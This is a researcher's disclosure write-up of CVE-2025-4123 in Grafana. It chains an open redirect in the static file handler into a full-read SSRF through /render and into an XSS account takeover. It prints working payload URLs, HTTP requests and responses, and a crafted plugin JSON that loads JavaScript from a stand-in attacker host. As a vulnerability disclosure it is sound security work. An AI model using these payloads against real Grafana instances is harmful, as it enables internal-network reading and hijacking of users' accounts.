Grafana Full read SSRF and Account Takeover: CVE-2025-4123
Summary
An open redirect happens when a web application takes a URL parameter and redirects the user to the specified URL without validating it.
/redirect?url=https://evil.com –> (302 Redirect) –> https://evil.com
This might not seem dangerous on its own, but this type of bug was the starting point for uncovering two separate vulnerabilities: a Full Read SSRF and an account takeover. In this post, I’ll walk through the full process of how I found them — step by step.
Why Grafana?
Grafana is an open-source analytics platform, built mainly in Go and TypeScript, used to visualize data from sources like Prometheus and InfluxDB. I thought finding a vulnerability in this web app would be a good challenge, so I downloaded the source code and started debugging — even though it was my first time working with Go. I decided to focus on the unauthenticated parts of the application.
Entry point: Open Redirect
I went through all the unauthenticated endpoints defined in api/api.go
...
// not logged in views
r.Get("/logout", hs.Logout)
r.Post("/login", requestmeta.SetOwner(requestmeta.TeamAuth), quota(string...
r.Get("/login/:name", quota(string(auth.QuotaTargetSrv)), hs.OAuthLogin)
r.Get("/login", hs.LoginView)
r.Get("", hs.Index)
// authed views
r.Get("/", reqSignedIn, hs.Index)
r.Get("/profile/", reqSignedInNoAnonymous, hs.Index)
...
Functionality
I even dug deeper to inspect the middlewares used across the application. That’s when I came across a function responsible for handling static routes — and it caught my attention.
func staticHandler(ctx *web.Context, log log.Logger, opt StaticOptions) bool {
if ctx.Req.Method != "GET" && ctx.Req.Method != "HEAD" {
return false
}
file := ctx.Req.URL.Path
for _, p := range opt.Exclude {
if file == p {
return false
}
}
// if we have a prefix, filter requests by stripping the prefix
if opt.Prefix != "" {
if !strings.HasPrefix(file, opt.Prefix) {
return false
}
file = file[len(opt.Prefix):]
if file != "" && file[0] != '/' {
return false
}
}
f, err := opt.FileSystem.Open(file)
if err != nil {
return false
}
..............
}
The function was used to retrieve files from the system based on user input. Naturally, my first thought was to try loading arbitrary files using path traversal techniques like ../ or similar tricks.
I’ll explain you the flow of all the code and sanitizations in place (Important to understand the vulnerability):

So if you request /public/file/../../../name, the path gets sanitized and resolves to /staticfiles/etc/etc/name, effectively blocking access to unintended files outside the intended directory.
Additionally, if the resolved final path points to a folder, the StaticHandler function checks for a default file inside it — typically serving /index.html from that directory.
if fi.IsDir() {
// Redirect if missing trailing slash.
if !strings.HasSuffix(ctx.Req.URL.Path, "/") {
path := fmt.Sprintf("%s/", ctx.Req.URL.Path)
if !strings.HasPrefix(path, "/") {
// Disambiguate that it's a path relative to this server
path = fmt.Sprintf("/%s", path)
} else {
// A string starting with // or /\ is interpreted by browsers as a URL, and not a server relative path
rePrefix := regexp.MustCompile(`^(?:/\\|/+)`)
path = rePrefix.ReplaceAllString(path, "/")
}
http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
return true
}
file = path.Join(file, opt.IndexFile)
indexFile, err := opt.FileSystem.Open(file)
....
}
As you can see, if the final file is a directory and the provided route (/public/build) does not end with a /, the server redirects to the same path with a trailing / appended.
GET /public/build HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /public/build/
This redirection behavior is where the open redirect vulnerability occurs, so let’s dive into that next.
Objective
I have a scenario where the application is redirecting based on the provided route, so the final redirection URL will always start with /. My objective is to create a route that, when requested, redirects to a valid full URL starting with /, such as:
//attacker.com/...–>//indicates a protocol-relative URL, which uses the same protocol as the current page (HTTPS)/\attacker.com/...–>/\does the same
Problems and Solutions
Valid Directory
To reach the redirect functionality, I need a route that starts with /public/ and, when passed to opt.FileSystem.Open(file), resolves to a valid directory.
I started with /public/\attacker.com/../.., which resolves to an empty string "" and is then appended to /staticfiles/etc/etc/, triggering the if fi.isDir(){} code flow.
/public/\attacker.com/../.. –>
/\attacker.com/../.. –> "" –>
/staticfiles/etc/etc/+"" –> fi.isDir() TRUE
Now, I have a way to inject any payload that will be interpreted as a folder by opt.FileSystem.Open(file).
/public/{}/../../..
Inconsistency
Once inside the isDir() part, the /public/\attacker.com/../.. path reaches the http.Redirect() function. The problem is that this function also resolves the path, which results in the redirect path being /.
if fi.IsDir() {
...
//path is "/public/\attacker.com/../.." but the final redirect is "/"
http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
return true
...
}
If I request /public/\attacker.com/../..
GET /public/\attacker.com/../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /
So, basically,
I need to create a route where /../../.. is resolved by opt.FileSystem.Open(file) when loading the file,
but remains unresolved in http.Redirect() when performing the redirect.
The path is being parsed differently in each case.
opt.FileSystem.Open(file)expects a system filehttp.Redirect(path)expects an url path
The question is the answer
?
opt.FileSystem.Open(file)treats?as a normal character.http.Redirect(path)interprets?as the beginning of URL parameters.
That means that /public/\attacker.com/?/../../../.. will be treated like this:
opt.FileSystem.Open():
/public/\attacker.com/?/../../../..=""–>/staticfiles/etc/etc/+""is a valid folder.
http.Redirect():
/public/\attacker.com/?/../../../..–> Anything following?is treated as a query string and is not resolved as part of the path.
Request with ? -> %3f:
GET /public/\attacker.com/%3f/../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /public/\attacker.com/?/../../
Final payload
The URL /public/\attacker.com/?/../../../.. needs to be resolved to a full URL starting with /\.
I simply used this path: /public/../\attacker.com/?/../../../..
When http.Redirect() resolves the path, it removes the /public part.
Request:
GET /public/../\attacker.com/%3f/../../../../../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /\attacker.com/?/../../../../../../
Summary

Full Read SSRF
That open redirect doesn’t have any serious security impact by itself, so I need to chain it with another functionality.
Grafana has an endpoint called /render, which is used to generate images based on the provided path.
// rendering
r.Get("/render/*", requestmeta.SetSLOGroup(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)

This endpoint uses a headless browser to render the HTML of the route specified by the user, it only accepts relative URL paths /route and does not allow rendering content from absolute URLs https://....
But what if I use the open redirect I found to redirect to an internal service?
First, I tried to load google.es with /render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f..

Then I set up an internal service that’s inaccessible from the outside
And I tried loading 127.0.0.1:1234 with /render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f..

With this exploit, I was able to fully read internal services. Since a browser is used for rendering, I can even send POST requests by crafting a form that targets the internal service.
Grafana’s public program on Intigriti doesn’t include the /render endpoint in scope because it’s not enabled by default.
Also, this bug requires sign-in, so I can’t gain anything from it.
Account Takeover through XSS
This is probably the best bug chain I’ve ever exploited to achieve XSS and account takeover.
Client-side Path Traversal
A significant part of Grafana’s client-side code allows client-side path traversal.
For example, when you load /invite/1 in the browser, the JavaScript makes a request to /api/user/invite/1 to retrieve the invite information.
However, if you load /invite/..%2f..%2f..%2f..%2froute, the JavaScript resolves the path traversal and ends up loading /route.

This creates the perfect scenario to force the JavaScript to load the open redirect, which in turn fetches a specially crafted JSON from my server.
But first, I need to find an endpoint that loads content in an unsafe way and exploit it to execute JavaScript.
Loading a malicious javascript file
You can use /a/plugin-app/explore to load and manage a plugin app.
The JavaScript of this functionality extracts plugin-app name from the URL and uses it to request plugin information from /api/plugins/plugin-app/settings.
The /api/plugins/plugin-app/settings file looks like this.
{
"name": "plugin-app",
"type": "app",
"id": "plugin-app",
"enabled": true,
"pinned": true,
"autoEnabled": true,
"module": "/modules/..../plugin-app.js", //js file to load
"baseUrl": "public/plugins/grafana-lokiexplore-app",
"info": {
"author": {
"name": "Grafana"
...
}
}
...
}
/a/plugin-app/explore loads that file, and executes the javascript provided in the "module" parameter.
/a/plugin-app/explore is vulnerable to client-side path traversal, which allows me to load any route on the server instead of /api/plugin-app/settings.
This lets me load the open redirect, and as a result, fetch my own malicious JSON containing any JavaScript file I want.
So basically, I set up my own server with all the necessary JS and JSON files. I just need to host a JSON like this:
{
"name": "ExploitPluginReq",
"type": "app",
"id": "grafana-lokiexplore-app",
"enabled": true,
"pinned": true,
"autoEnabled": true,
"module": "http://attacker.com/file?js=file", //malicious js file
"baseUrl": "public/plugins/grafana-lokiexplore-app",
"info": {
"author": {...}
}
...
}
And load this route, /a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore which exploits the client-side path traversal and the open redirect.
The result:
My malicious JavaScript file gets executed, allowing me to change the victim’s email and reset their password.
Summary

I always thought Grafana would be an impossible target to hack. It looks so sophisticated and secure — and to be fair, it truly is.
But discovering this vulnerability proves that no matter how secure an application may seem, it always has, or will eventually have, vulnerabilities.
I was rewarded with $3,700 (€3,289), although I couldn’t escalate the bug further by reporting it to multiple bug bounty programs, since both exploitation paths require authentication